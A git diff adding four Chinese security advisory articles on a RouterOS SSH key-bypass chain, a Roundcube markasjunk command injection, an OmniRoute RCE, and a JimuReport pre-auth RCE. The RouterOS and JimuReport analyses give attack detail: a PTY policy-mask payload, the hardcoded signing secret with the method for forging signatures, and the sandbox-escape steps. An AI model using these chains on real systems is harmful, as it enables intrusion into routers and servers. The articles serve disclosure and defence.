社区官方所有。 + + diff --git a/doc/2026-09/CVE-2026-67276 RouterOS SSH公钥认证绕过漏洞（POC）.md b/doc/2026-09/CVE-2026-67276 RouterOS SSH公钥认证绕过漏洞（POC）.md new file mode 100644 index 00000000..2ef2b711 --- /dev/null +++ b/doc/2026-09/CVE-2026-67276 RouterOS SSH公钥认证绕过漏洞（POC）.md @@ -0,0 +1,152 @@ +# CVE-2026-67276 | RouterOS SSH公钥认证绕过漏洞（POC） +alicy + alicy 信安百科 2026-09-14 01:00 + +> **免责声明：** +本文为公开安全资讯的技术整合与原创分析，仅供安全研究、防御加固与学习交流使用。漏洞技术细节均来源于公开可查证的安全研究资料，请勿将文中信息用于任何非授权用途。 + +## +## 0x00、前言 + +MikroTik 是拉脱维亚网络设备厂商，旗下 RouterOS 以功能密集、性价比高著称，从家用路由器一路覆盖到运营商级设备，在全球 ISP 与企业网络中存量巨大。据 Shadowserver 基金会统计，截至 9 月 5 日，仅 SSH 服务暴露在公网的 MikroTik 设备就超过 12.2 万台。 + +9 月 5 日，波兰 CERT 公开披露 RouterOS 的六个漏洞。其中 CVE-2026-67276 是一个 SSH 公钥认证绕过漏洞：**攻击者不需要私钥，就能冒充任意配置了 RSA 密钥登录的用户** +。MikroTik 为此做了件史上头一回的事——向手机 App 用户推送升级提醒。它已经不只是漏洞，而是正在发生的攻击的一部分。 + +## 0x01、漏洞描述 + +CVE-2026-67276 属于密码学签名验证不当类缺陷（CWE-347），CNA 给出的 CVSS 4.0 评分为 9.2（Critical）。 + +问题出在 SSH 公钥认证的密钥比对环节：RouterOS 将客户端提交的公钥与用户授权密钥匹配时，只比较了密钥类型与模数 n，漏掉了指数 e；而签名验证又直接采用客户端提交的公钥。攻击者只要拿到目标用户名和该用户授权公钥的模数，就能构造一把 e=1 + 的“孪生公钥”，自行算出必然通过验证的签名，以目标用户身份打开 SSH 命令通道，权限等同于目标账户。 + +利用条件：设备 SSH 可达、目标账户启用 RSA 公钥认证。 + +限制因素：需先获得公钥模数——而**公钥，本来就是设计为可公开传播的材料** +。 + +## 0x02、CVE 编号 + +编号信息取自 cve.org 官方 CVE 记录：CVE-2026-67276 +。 +
项目
内容
CVE 编号
CVE-2026-67276
漏洞标题
SSH user impersonation possible in Mikrotik RouterOS
漏洞类型
CWE-347 密码学签名验证不当（Improper Verification of Cryptographic Signature）
## +## 0x03、影响版本 + +官方 CVE 记录写得明确：此问题仅影响 7.x 分支，修复版本为 7.23.4（Long-term）与 7.24.2（Stable）。 +
更新通道
受影响版本
修复版本
Stable 稳定版
7.24 至 7.24.2 之前
7.24.2
Long-term 长期版
7.9 至 7.23.4 之前
7.23.4
Beta 测试通道
早于 7.25beta3
7.25beta3
v6 老版本
官方记录称此漏洞不影响 6.x
6.49.21（修复同批其余漏洞）
## +## 0x04、漏洞详情 + +CERT PL 为防攻击自动化，刻意保留了部分利用细节。但补丁差异、官方漏洞描述与社区逆向，已经把图景拼得足够完整。以下内容整理自 CERT PL 官方通告、npratley.net 的补丁逆向分析与独立实验室复现，并标注了“已复现”与“已推断”的边界。 +### 1. 缺陷本质：匹配与验签的信任错位 + +SSH 公钥认证（RFC 4252）里，服务器要做两件事：把客户端提交的公钥与该用户的授权密钥比对；再用这把公钥验证客户端对会话数据的签名。RouterOS 7.x 的实际行为，用公开分析给出的行为模型描述，就两行： +``` +match  = (key_type, modulus)     # 密钥比对：只比类型与模数 nverify = client-supplied key     # 签名验证：用客户端提交的公钥 +``` + +（代码较长，可左右滑动查看完整内容） + +毛病就出在这两行的组合上：比对阶段放过了指数不同的密钥，验签阶段又信任客户端给的指数。攻击者据此提交一把 {ssh-rsa, e=1, n=目标模数} 的“孪生公钥”： +``` +RSA 验签: s^e mod n == EMSA-PKCS1-v1_5(H(session_id, authdata))当 e = 1: s^1 mod n == s        # 任意 s 均满足          => 有效签名 = EMSA-PKCS1-v1_5(...)  # 仅凭公钥即可算出 +``` + +（代码较长，可左右滑动查看完整内容） + +**e=1 让验签的数学约束彻底失效。** +“有效签名”退化成任何知道公钥的人都能计算的编码块——签名的本质是“只有持私钥者才能构造的值”，而 e=1 把这道门槛直接拆掉了。独立复现还补了一个佐证细节：e=1 的 mpint 编码取 1 字节或 3 字节宽度，7.23.3 都放行，说明服务端解析了指数、只是不比较它的值。 +
目标版本
真实私钥（对照组）
e=1 伪造密钥
7.23.3
认证成功
认证成功 + 命令执行，漏洞确认
7.23.4（已修复）
认证成功
拒绝
6.49.20
认证成功
拒绝，6.x 匹配行为不同
### 2. 攻击链 MikroTrick：从免私钥登录到完全接管 + +CERT PL 把 CVE-2026-67276 和提权漏洞 CVE-2026-86060 的组合命名为 MikroTrick——两者相加，SSH 暴露的设备可被无认证完全接管。 + +**第一步：认证绕过。** +攻击者收集目标用户名与授权公钥模数。泄露的 .pub 文件、配置备份、代码仓库、员工公开的账户公钥，都是现成来源。然后构造 e=1 公钥与自算签名，以目标用户身份登录。 + +**第二步：策略掩码注入。** +补丁逆向显示，sshd 在认证完成后，通过 argv 把结果移交给 login 辅助进程。7.23.3 的简化调用如下： +``` +execl("/nova/bin/login", "login",      "-ssh", "-trace", trace,      "-h"/"-mac", peer,      "-c", command,      authenticated_name, decimal_policy_mask, NULL); +``` + +（代码较长，可左右滑动查看完整内容） + +而 login 对以 '-' 开头的位置参数，保留了一条遗留的文件描述符传输通道： +``` +if positional[0] == '-':    fd = atoi(positional + 1)    blob = read_until_eof(fd, maximum=4096)    require blob[-1] == 0    field1 = blob before first NUL   # 替换登录名    field2 = blob after first NUL    # 经 strtoul 成为策略掩码 +``` + +（代码较长，可左右滑动查看完整内容） + +用户名 -2 + 的效果，是让 login 改从 fd 2（也就是会话 PTY）读取登录材料，第二个字段经 strtoul 直接成为授权策略掩码。攻击者在 PTY 里发送： +``` +# 会话建立后，攻击者向 PTY 发送：0\x00 654958\x00 \x04\x04# 字段1=登录名  字段2=策略掩码 654958(0x9fe6e，full)  \x04\x04=两个VEOF +``` + +（代码较长，可左右滑动查看完整内容） + +654958（0x9fe6e）正是 RouterOS 的完整策略集。一个只读会话，就此拿到 full 管理权限，任意配置变更都能执行。 + +**第三步：持久化。** +攻击者随即创建 full 权限账户。实验室复现产生的日志，与野外受害设备的痕迹完全同构： +``` +# 实验室复现日志user ops added by ssh:-2@172.31.88.5user ops removed by ssh:-2@172.31.88.5/action:0# 野外受害设备痕迹（CERT PL IoC）login failure for user -2 from via sshuser added by ssh:-2@ +``` + +（代码较长，可左右滑动查看完整内容） + +**在野状态：** +据 CERT PL 通报，针对公网暴露设备的攻击至少从 9 月 2 日起持续，成功入侵源自 82.192.72.4 +，103.102.31.18 + 也被观测到利用尝试，高权限 ops 账户的出现是另一条硬指标。另外值得一提：这批漏洞由 CERT PL 研究员借助 GPT-5.5-cyber 与 GPT-5.6-sol 两款大模型，通过协议状态机建模分析发现——AI 辅助漏洞挖掘，第一次以如此正式的姿态出现在国家级 CERT 的披露流程里。 +> **阅读边界：** +补丁逆向的作者明确声明，未能在纯本地认证环境复现“SSH 接受字面 -2 用户名”的原生路径，实验室里由 RADIUS 应答器提供该用户名。野外目标可能启用了 RADIUS/User Manager 之类的外部认证，也可能存在未公开的初始访问原语。区分“已复现”与“已推断”，是读安全报道的基本功。 + +> **失陷检测：** +修复版本还内置了 Flagged 机制：设备启动时扫描配置里的已知未授权变更，自动禁用可疑条目、写 critical 日志、打上 Flagged 标记。但 CERT PL 强调——**没有标记，不等于没有被入侵。** + +## +## 0x05、个人观察与判断 + +**设计缺陷点评：** +比对漏了指数，验签又用客户端公钥——“匹配”与“验证”绑定了同一份不可信输入，是密码学工程最经典的反模式。凭据比较必须覆盖全部字段，验签必须用服务端存储的密钥。 + +**行业趋势：** +网络设备仍是初始访问首选入口，公网暴露面即攻击面；本批漏洞由大模型辅助的协议状态机分析发现，AI 挖掘已进入国家级 CERT 生产流程，长尾漏洞的发现成本正快速下降。 + +**排查建议：** +立即升级至 7.23.4/7.24.2；检索日志中 -2 用户与 ssh:-2 记录、排查 ops 等陌生账户；用 /system/device-mode/print 查 Flagged 标记；暂无法升级时将 SSH、WWW、bandwidth-test 限入可信网段并轮换密钥。 +## +## 0x06、参考链接 + +**1. CVE-2026-67276 官方记录（cve.org）** + +https://www.cve.org/CVERecord?id=CVE-2026-67276 + +官方漏洞描述、CVSS 4.0 评分与受影响版本范围 + + +**2. MikroTik 官方安全公告（2026-09-03）** + +https://mikrotik.com/supportsec/september-2026-vulnerability/ + +修复版本、升级指引与升级后的检查步骤 + + +**3. CERT Polska 技术通告（2026-09-05）** + +https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/ + +原始披露方：MikroTrick 攻击链、在野利用 IoC 与处置建议 + + +4. Github 仓库项目 + +https://github.com/dinosn/mikrotrick-poc + +> **— END —** +> 整理不易，如果这篇分析对你有用 +> **点个红心 ❤️ 、在看与转发** +，是对我们最大的支持 + + diff --git a/doc/2026-09/CVE-2026-74997｜Roundcube Webmail插件可实现服务器远程代码执行.md b/doc/2026-09/CVE-2026-74997｜Roundcube Webmail插件可实现服务器远程代码执行.md new file mode 100644 index 00000000..92d92846 --- /dev/null +++ b/doc/2026-09/CVE-2026-74997｜Roundcube Webmail插件可实现服务器远程代码执行.md @@ -0,0 +1,116 @@ +# CVE-2026-74997｜Roundcube Webmail插件可实现服务器远程代码执行 +alicy + alicy 信安百科 2026-09-14 01:00 + +> **免责声明：** +本文仅供网络安全研究与防御技术学习交流使用。本文漏洞技术细节均来源于公开可查证的安全研究资料（CVE 官方记录、厂商安全公告及公开补丁代码），不含任何未公开或自行构造的攻击细节。请勿将文中信息用于未经授权的测试行为，因不当使用造成的后果由行为人自行承担。 + +## +## 0x00、前言 + +Roundcube 是全球部署最广的开源 Webmail 系统之一，基于 PHP 与 IMAP 协议构建，被主机托管商、高校、企业和政府机构广泛用于自建邮件服务。 + +据 BleepingComputer 报道，仅 Shodan 可追踪的互联网可达实例就超过 4.6 万个。为兼顾功能扩展，Roundcube 采用插件化架构，markasjunk（标记垃圾邮件）便是其内置插件之一。 + +2026 年 8 月 9 日，Roundcube 官方发布 1.6.18 与 1.7.3 两个安全版本，一次性修复 11 个安全漏洞，其中最严重的，正是 markasjunk 插件 cmd_learn 驱动中的远程代码执行漏洞（RCE）：用户在网页上一次普通的「标记垃圾邮件」操作，就可能让攻击者构造的命令在邮件服务器上执行。 + +## 0x01、漏洞描述 + +该漏洞类型为 OS Command Injection（CWE-78），CVSS 3.1 评分 8.8（高危），攻击路径为网络可达、低权限、无需用户交互。 + +markasjunk 插件允许用户将邮件标记为垃圾邮件或非垃圾邮件，其 cmd_learn 驱动负责把被标记的邮件交给后端反垃圾系统（如 sa-learn、DSPAM）学习。实现方式是：将管理员配置的命令模板中的占位符（%u、%i、%s、%h:xxx 等）逐一替换为运行时数据，再交由 shell_exec() 执行。 + +缺陷在于替换按固定顺序进行：先完成替换的取值若内部包含后续占位符的字样，就会在 escapeshellarg() 建立的单引号保护内被二次替换，破坏引号上下文，使攻击者构造的载荷落入无引号区域。 + +利用前提是实例启用了该插件并使用 cmd_learn 驱动；按官方 CVSS 向量（PR:L），攻击者需具备已认证的低权限账户，纯默认安装不受影响。 + +## 0x02、CVE 编号 + +经 cve.org 官方记录核实，本漏洞编号为 **CVE-2026-74997** +，由 MITRE 作为 CNA 收录（2026 年 8 月 17 日发布），关键信息如下： +
项目
内容
CVE 编号
CVE-2026-74997
GHSA 编号
GHSA-q5rh-mmp4-ppgq
漏洞类型
CWE-78（OS Command Injection）
## +## 0x03、影响版本 + +根据 CVE 官方记录中的产品状态，受影响版本范围为： +
分支
受影响版本
修复版本
1.6（LTS）
1.6.0 至 1.6.17
1.6.18
1.7
1.7.0 至 1.7.2
1.7.3
## +## 0x04、漏洞详情 +### 4.1 漏洞代码 + +漏洞位于 plugins/markasjunk/drivers/cmd_learn.php 的 _do_salearn() 方法。以下为 Roundcube 1.6.17 版本的关键代码（节选，①②③④为笔者标注，便于对应下文分析）： +``` +// 文件：plugins/markasjunk/drivers/cmd_learn.php（Roundcube 1.6.17）private function _do_salearn($uids, $spam, $src_mbox){    $rcube   = rcube::get_instance();    // 命令模板来自管理员配置    $command = $rcube->config->get($spam ? 'markasjunk_spam_cmd' : 'markasjunk_ham_cmd');    // ……（解析模板中的 %h:xxx 头部占位符）……    // ① 占位符按固定顺序逐一替换，每个值都经过 escapeshellarg() 转义    $command = str_replace('%u', escapeshellarg($_SESSION['username']), $command);    $command = str_replace('%l', escapeshellarg($rcube->user->get_username('local')), $command);    $command = str_replace('%d', escapeshellarg($rcube->user->get_username('domain')), $command);    if (strpos($command, '%i') !== false) {        $identity = $rcube->user->get_identity();        // %i = 当前用户的默认身份邮箱（用户可在「设置 - 身份」中自行填写）        $command  = str_replace('%i', escapeshellarg($identity['email']), $command);    }    foreach ($uids as $uid) {        $tmp_command = $command;        // ② %s = 被标记邮件的发件人地址（发件人可控）        if (strpos($tmp_command, '%s') !== false) {            $message     = new rcube_message($uid);            $tmp_command = str_replace('%s', escapeshellarg($message->sender['mailto']), $tmp_command);        }        // ③ %h:xxx = 被标记邮件的指定头部字段值（邮件内容可控）        // ……        $tmp_command = str_replace('%h:' . $header, escapeshellarg($val), $tmp_command);        // ……        // ④ 拼接完成的命令直接交给 shell 执行        $output = shell_exec($tmp_command);    }} +``` + +（代码较长，可左右滑动查看完整内容） +### 4.2 占位符与攻击者可控点 + +命令模板由管理员配置，占位符决定了哪些运行时数据会进入命令行。逐项审视各占位符的数据来源，即可看出注入点所在： +
占位符
含义
取值来源
攻击者可控性
%u
当前登录用户名
会话中的用户名
弱（通常由管理员分配）
%l / %d
用户名的本地部分 / 域名部分
由 %u 派生
弱
%i
用户默认身份邮箱
用户在「设置 - 身份」中填写
强（受 identities_level 配置约束）
%s
被标记邮件的发件人地址
被处理邮件的 From 头
强（外部投递邮件即可控制）
%h:xxx
被标记邮件的指定头部字段
被处理邮件的邮件头
强（外部投递邮件即可控制）
%f
邮件原文临时文件路径
服务端 tempnam() 生成
不可控
+其中 %i 来自用户自己设置的「身份邮箱」，%s 与 %h:xxx 则完全来自被标记邮件本身的发件人地址与邮件头，外部投递一封邮件即可控制。换言之，只要命令模板同时使用了「较早替换的可控占位符」与「较晚替换的占位符」，嵌套替换就有发生的土壤。 +### 4.3 攻击链与利用机理 + +**步骤一（满足前置条件）：** +目标实例启用 markasjunk 插件，学习驱动为 cmd_learn，且管理员配置的命令模板中包含多个占位符。典型场景是与 sa-learn、DSPAM 等反垃圾系统的集成，驱动代码中甚至保留了 DSPAM 的兼容逻辑。 + +**步骤二（构造替换值）：** +攻击者让某个「较早替换」的占位符取值中，包含「较晚替换」的占位符字样。例如将身份邮箱（%i）设为 attacker%h:x-sig@evil.com，同时在待标记邮件的 x-sig 头部字段中放置载荷。 + +**步骤三（嵌套替换破坏引号）：** +escapeshellarg() 先把身份邮箱包进单引号；随后 %h:x-sig 的替换在引号「内部」再次发生，插入的转义片段会提前闭合并重新打开引号，使载荷落入无引号上下文。 + +**步骤四（触发执行）：** +已认证用户在 Web 界面将这封邮件标记为垃圾邮件（或移动到 Junk 文件夹），_do_salearn() 对每封邮件执行 shell_exec()，注入的命令以 Web 服务运行身份执行。 + +引号上下文被破坏的过程如下图所示（命令模板为示意，实际模板由管理员配置）： +``` +[模板]    dspam --user %i --signature=%h:x-sig[步骤 1]  替换 %i（身份邮箱被 escapeshellarg() 包上单引号）：          dspam --user 'attacker%h:x-sig@evil.com' --signature=%h:x-sig[步骤 2]  替换 %h:x-sig（邮件头字段值同样被包上单引号）：          dspam --user 'attacker'PAYLOAD'@evil.com' --signature='PAYLOAD'[步骤 3]  shell 解析 'attacker'PAYLOAD'@evil.com' 时：          'attacker'    → 普通字面量 attacker          PAYLOAD       → 落入无引号上下文，$( )、;、| 等元字符生效          '@evil.com'   → 普通字面量 @evil.com +``` + +另一种触达路径亦见诸媒体报道：攻击者无需自身账户，直接向受害者投递构造邮件，待受害者将其标记为垃圾邮件时即触发同一代码路径，该路径依赖受害者交互。官方 CVSS 向量（PR:L/UI:N）按「已认证用户自行触发」路径评定，这也是个别媒体「无需登录」的说法与官方评分存在出入的原因。 +> **说明：** +CVE 官方对该漏洞的描述为「通过精心构造的占位符替换值实现远程代码执行」，与上述代码逻辑吻合。截至本文撰写时，官方与主流公开渠道尚未发布完整利用细节，以上攻击链为基于官方补丁差异与 1.6.17 公开源码的机理分析。 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/v50ePV9iaVJw22CicmXLDdbpAFIEBVUbmrRJRpbSA6jxiba0m2CEYeHGZHoOYicwrp04mWcUt0R0PPh476Uce2NgtvMVdBIkKKWhz7TFeA2XXTI/640?wx_fmt=png&from=appmsg "") +### （图片来源于网络） +### 4.4 官方修复方案 + +官方修复（1.6 分支 commit b8f90e2，1.7 分支同步修复）重构了替换逻辑：先把全部占位符与转义后的取值收集进数组，最后用一次 strtr() 完成替换： +``` +// 修复后（commit b8f90e2，节选）：先收集，后一次性替换$vars = [    '%u' => escapeshellarg($rcube->get_user_name()),    '%l' => escapeshellarg($rcube->user->get_username('local')),    '%d' => escapeshellarg($rcube->user->get_username('domain')),];if (strpos($command, '%i') !== false) {    $identity = $rcube->user->get_identity();    $vars['%i'] = escapeshellarg($identity['email']);}foreach ($uids as $uid) {    $replace = $vars;    // %s、%h:xxx、%f 等同样写入 $replace 数组    // ……    $replace['%s'] = escapeshellarg($message->sender['mailto']);    $replace['%h:' . $header] = escapeshellarg($val);    $replace['%f'] = escapeshellarg($tmpfname);    // strtr 单次遍历替换，不会重新扫描已替换的内容    $tmp_command = strtr($command, $replace);    $output      = shell_exec($tmp_command);} +``` + +strtr() 对原字符串只做单次遍历，替换结果不会被重新扫描，「替换结果中再次包含占位符」的情况从机制上被杜绝；同时各占位符取值仍然全部经过 escapeshellarg() 转义，原有防线得以保留。 + +另一个细节是，修复同时把 %u 的取值来源从 $_SESSION['username'] 调整为 $rcube->get_user_name()，使命令构造与当前运行上下文保持一致。 + +## 0x05、个人观察与判断 + +**设计缺陷点评：** +「逐个转义 + 顺序替换」是结构性缺陷：只要替换可以嵌套发生，任何单值转义都会被后续替换从内部破坏。2023 年的修复只补了 escapeshellarg 而未动替换逻辑，属于治标不治本；本次官方改用 strtr 一次性替换，才算触及根因。 + +**行业趋势思考：** +Webmail 是 APT 组织的长期猎物。2026 年 2 月，CISA 已将 Roundcube 的 CVE-2025-49113（CVSS 9.9）等漏洞列入 KEV 已知被利用目录，Shadowserver 此前通报过约 8.4 万个暴露实例。非默认插件与可选驱动构成的「隐形攻击面」，正在成为最容易被资产清点遗漏的一环。 + +**排查建议：** +立即检查配置中 markasjunk_learning_driver 是否为 cmd_learn；升级至 1.6.18 或 1.7.3；非必需场景直接禁用该插件；审计 markasjunk_spam_cmd 与 markasjunk_ham_cmd 的占位符组合；回溯排查 sa-learn、DSPAM 调用日志中的异常参数与服务器上的未知进程。 + +## 0x06、参考链接 + +https://cve.org/CVERecord?id=CVE-2026-74997 + +CVE 官方记录：漏洞描述、CVSS 向量与受影响版本范围 + +https://roundcube.net/news/2026/08/09/security-updates-1.6.18-and-1.7.3 + +Roundcube 官方安全公告：1.6.18 / 1.7.3 更新说明，共 11 项安全修复 + +https://github.com/roundcube/roundcubemail/commit/b8f90e28a46d42e79a69568cba897f8f4223d9cd + +官方修复 Commit：以 strtr 单次替换重构占位符替换逻辑 + +> **— END —** +> **❤ 如果觉得有帮助，点个红心支持一下吧。** + + diff --git a/doc/2026-09/CVE-2026-88062（CVSS 9.5）：OmniRoute远程代码执行漏洞PoC已公开.md b/doc/2026-09/CVE-2026-88062（CVSS 9.5）：OmniRoute远程代码执行漏洞PoC已公开.md new file mode 100644 index 00000000..5fd9188d --- /dev/null +++ b/doc/2026-09/CVE-2026-88062（CVSS 9.5）：OmniRoute远程代码执行漏洞PoC已公开.md @@ -0,0 +1,32 @@ +# CVE-2026-88062（CVSS 9.5）：OmniRoute远程代码执行漏洞PoC已公开 +sec随谈 + sec随谈 sec随谈 2026-09-14 01:07 + +**安全研究人员已公开一个严重OmniRoute远程代码执行漏洞的详细信息及概念验证利用代码。该漏洞允许远程攻击者在无需身份验证的情况下执行任意命令。管理员必须立即应用最新补丁以保障部署环境的安全。** + +**为何此威胁值得重视** + +OmniRoute是一款统一的AI网关，用于管理企业应用中的数百个大型语言模型。行业估计显示，数千名开发者使用该平台来降低API成本。因此，服务器一旦被完全入侵将面临巨大风险——攻击者可窃取API密钥、泄露敏感提示词并向内网横向移动。 + +**攻击原理** + +OmniRoute远程代码执行漏洞源于自定义代理注册端点。攻击者向服务器发送恶意HTTP请求，在此过程中操控二进制文件和版本命令参数。 + +由于应用程序未能对这些输入进行适当过滤，攻击者提供的JavaScript代码得以直接在服务器容器内执行，系统随后同步对该代码进行求值运算。 + +这一机制赋予攻击者执行操作系统命令的能力。若服务器未设置管理密码，此攻击无需任何身份验证即可发起。目前公开的概念验证利用代码已可获取，但安全团队尚未确认存在在野利用案例。完整技术分析可参阅OmniRoute官方安全公告。 + +**受影响版本** + +该严重漏洞影响所有运行3.8.49之前版本的OmniRoute安装。 + +**补丁与缓解措施** + +用户必须立即升级至3.8.49或更高版本，该补丁修复了验证逻辑并强制执行严格的身份验证检查。 + +若无法立即完成补丁修复，必须对管理界面进行安全加固：配置强管理密码，启用登录验证要求，并通过严格的防火墙规则将网络访问限制为受信任的主机。 + +参考链接： + +https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr + diff --git a/doc/2026-09/JeecgBoot 积木报表 v2.5.1 未授权 RCE & Aviator 沙箱逃逸.md b/doc/2026-09/JeecgBoot 积木报表 v2.5.1 未授权 RCE & Aviator 沙箱逃逸.md new file mode 100644 index 00000000..43adc07e --- /dev/null +++ b/doc/2026-09/JeecgBoot 积木报表 v2.5.1 未授权 RCE & Aviator 沙箱逃逸.md @@ -0,0 +1,776 @@ +# JeecgBoot 积木报表 v2.5.1 未授权 RCE & Aviator 沙箱逃逸 +rockmelodies + rockmelodies 神农Sec 2026-09-14 01:00 + +  课程培训 + +  扫码咨询 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWXLicr9MthUBGib1nvDibDT4r6iaK4cQvn56iako5nUwJ9MGiaXFdhNMurGdFLqbD9Rs3QxGrHTAsWKmc1w/640?wx_fmt=jpeg&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaaJcib7FH02wTKvoHALAMw4fchVnBLMw4kTQ7B9oUy0RGfiacu34QEZgDpfia0sVmWrHcDZCV1Na5wDQ/640?wx_fmt=png&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "") + + +# + +专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向，CNVD和EDUSRC漏洞挖掘，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有彩蛋（课程培训限时优惠）。 +# + +文章作者： +rockmelodies + +文章来源： +https://xz.aliyun.com/news/92789 + +01 + +0x1 JeecgBoot 积木报表 v2.5.1 未授权 RCE & Aviator 沙箱逃逸 + +## 1. 产品介绍（Product Introduction） + +JimuReport（积木报表）是 JeecgBoot 团队推出的一款基于低代码技术的智能报表平台，提供灵活的数据可视化设计、多数据源连接、动态模板生成、参数化配置、复杂计算公式、数据权限控制及多格式导出等功能，支持快速构建可配置的业务报表与分析场景。该产品通过 jimureport-spring-boot-starter + 系列依赖被大量 Spring Boot 业务系统集成，广泛部署于政务、金融、企业信息化等场景，且报表服务默认对外提供 HTTP 接口。本次漏洞位于其自动导出（auto export）功能模块的 /jmreport/auto/export/python/plugin + 接口及其底层表达式解析引擎（Aviator）。 +## 2. 漏洞标题（Vulnerability Title） + +JeecgBoot JimuReport v2.5.1 存在未授权远程命令执行漏洞（pre-auth RCE，Aviator 沙箱逃逸） +## 3. 漏洞描述（Description） + +JimuReport v2.5.1 的自动导出接口 POST /jmreport/auto/export/python/plugin + 同时标注了 @JimuNoLoginRequired +（无需登录）与 @JimuSignature +（需要签名），但其签名密钥 PRINT_PLUGIN_SIGN_SECRET + 为**硬编码** +常量，任何人都可伪造 X-Sign = MD5(请求体 + 密钥) + 通过签名校验，从而在**无需任何认证** +的情况下触达该接口。该接口将请求体 reportParams[].params + 中的查询参数值透传至 ExpressUtil.a(value, null) +，交给 Aviator 表达式引擎执行其中以 = + 开头的表达式。Aviator 引擎虽关闭了部分反射特性（NewInstance/Use/Module/StaticMethods/StaticFields，并清空 ALLOWED_CLASS_SET），但仍暴露内置变量 __instance__ +、__env__ + 与 seq +，攻击者据此可将引擎的 functionMissing + 替换为 JavaMethodReflectionFunctionMissing + 并重新启用反射 Feature，从而绕过沙箱，最终通过 Runtime.getRuntime().exec(...) + 在服务器上执行任意系统命令，导致机密性、完整性、可用性全部受损（完整远程代码执行）。 +## 4. 漏洞分析（Analysis / 根因定位） + +**根因类型** +：CWE-94（代码注入 / 表达式注入），辅助成因 CWE-798（硬编码凭据）、CWE-306（关键功能缺少鉴权）。 + +**数据流 / 触发路径** +： +``` +攻击者构造 JSON 请求体 reportParams[].params.p = "=" +  → POST /jmreport/auto/export/python/plugin  (@JimuSignature + @JimuNoLoginRequired) +  → JimuReportSignatureInterceptor.preHandle  (X-Sign = MD5(body + 硬编码密钥) 可伪造 → 通过) +  → JimuReportTokenInterceptor  (@JimuNoLoginRequired → 跳过登录) +  → IJimuReportAutoService.autoExport(vo) +  → autoAsyncTasks.a(vo)  (同步导出) +  → IJmReportExportService.exportMore(exportParams, ...) +  → JmReportBaseServiceImpl.getBaseSql(jmReportDb, paramJson, sqlParamsMap, dbParamType) +  → for (key : queryJson.keySet())  value = ExpressUtil.a(value, null)   ← 危险函数（eval） +  → AviatorEvaluatorInstance.compile(expression).execute(env)  ← 表达式引擎执行 +  → 沙箱逃逸 → JavaMethodReflectionFunctionMissing → Runtime.getRuntime().exec(cmd) + +``` + +**代码定位（反编译自**jimureport-spring-boot4-starter-2.5.1.jar**）** +： +``` +文件：org/jeecg/modules/jmreport/common/interceptor/JimuReportSignatureInterceptor.java +行号：50  （硬编码密钥） +关键代码： +    private static final String PRINT_PLUGIN_SIGN_SECRET = "6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121"; +    ... +    // 第 72~80 行：针对 /auto/export/python/plugin 直接用该硬编码密钥校验签名 +    if (requestUri.endsWith("/auto/export/python/plugin")) { +        String body = requestWrapper.getBody(); +        String signValue = DigestUtils.md5DigestAsHex((body + PRINT_PLUGIN_SIGN_SECRET).getBytes("UTF-8")).toUpperCase(); +        if (!signValue.equals(headerSign)) { ... return false; } +        return true; +    } +文件：org/jeecg/modules/jmreport/automate/b/a.java  （控制器，混淆后类名） +行号：74~83  （/export/python/plugin 映射） +关键代码： +    @JimuSignature +    @JimuNoLoginRequired +    @RequestMapping(value={"/export/python/plugin"}, method={RequestMethod.POST}) +    public Result b(@RequestBody JimuReportAutoExportVO jimuReportAutoExportVO) { +        ... +        return this.jimuReportAutoService.autoExport(jimuReportAutoExportVO); +    } +文件：org/jeecg/modules/jmreport/desreport/service/a/g.java  （getBaseSql） +行号：3362~3367  （RCE 汇聚点） +关键代码： +    for (String key : queryJson.keySet()) { +        String value = queryJson.getString(key); +        if (OkConvertUtils.isEmpty(value)) value = ""; +        value = ExpressUtil.a(value, null);   // ← 用户可控值进入表达式引擎 +        paramMap.put(key, value); +        ... +    } +文件：org/jeecg/modules/jmreport/desreport/express/ExpressUtil.java +行号：591~610  （eval 实现） +关键代码： +    public static String a(String expression, Map systemParam) { +        ... +        if ((expression = expression.trim()).startsWith("=")) { +            String temp = expression.replace("=", ""); +            ... +            Expression exp = i.compile(temp, true); +            Object object = exp.execute(new HashMap(5));   // ← Aviator eval +            return object.toString(); +        } +        ... +    } + +``` + +**成因分析** +： +1. **签名形同虚设（CWE-798）** +：/auto/export/python/plugin + 走“打印插件导出”专用分支，其签名密钥 PRINT_PLUGIN_SIGN_SECRET + 直接硬编码在客户端依赖中，与服务端配置项 jeecg.jmreport.signatureSecret + 无关。由于密钥对所有人公开，X-Sign + 可被任意伪造，@JimuSignature + 无法提供任何防护。 + +1. **接口未鉴权（CWE-306）** +：该接口被 @JimuNoLoginRequired + 标注，配合可伪造的签名，实际形成完全未授权的访问入口。 + +1. **表达式注入（CWE-94，根因）** +：getBaseSql + 把用户可控的 queryParam 值直接传入 ExpressUtil.a + 并用 Aviator 动态执行。ExpressUtil.a(engine) + 虽移除了 NewInstance +/Use +/Module +/StaticMethods +/StaticFields + 并清空 ALLOWED_CLASS_SET +，但**保留了 Aviator 的**InternalVars**Feature** +，使表达式得以读取 __instance__ +（引擎实例）与 __env__ +（执行环境）这两个内部变量；再配合始终可用的内置 seq + 函数与已启用的 ForLoop +（对 __instance__.features + 遍历取值），即可直接改写引擎的 features +（重新加入 StaticMethods +/Fn +）与 functionMissing +（替换为 JavaMethodReflectionFunctionMissing +），导致沙箱被结构性绕过。 + +## 5. 影响版本（Affected Versions） +- **受影响版本** +：v2.5.1（Maven 依赖 org.jeecgframework.jimureport:jimureport-spring-boot4-starter:2.5.1 +）及可能更早版本（该硬编码密钥与 ExpressUtil + 动态表达式执行在更早版本即存在）。 + +- **不受影响版本** +：截至报告日期暂无确认的不受影响版本。 + +- **修复版本** +：截至报告日期（2026-09-06）官方仓库最新提交未见修复，暂无修复版本。 + +- **验证环境** +：JimuReport v2.5.1（git commit 414017d +）/ Windows 11 / Spring Boot 4.1.0 / JDK 21 / MySQL 8.0.12 / Redis 5.0.14。 + +## 6. 漏洞等级（Severity） + +
项目
值
CVSS v3.1 分数
9.8
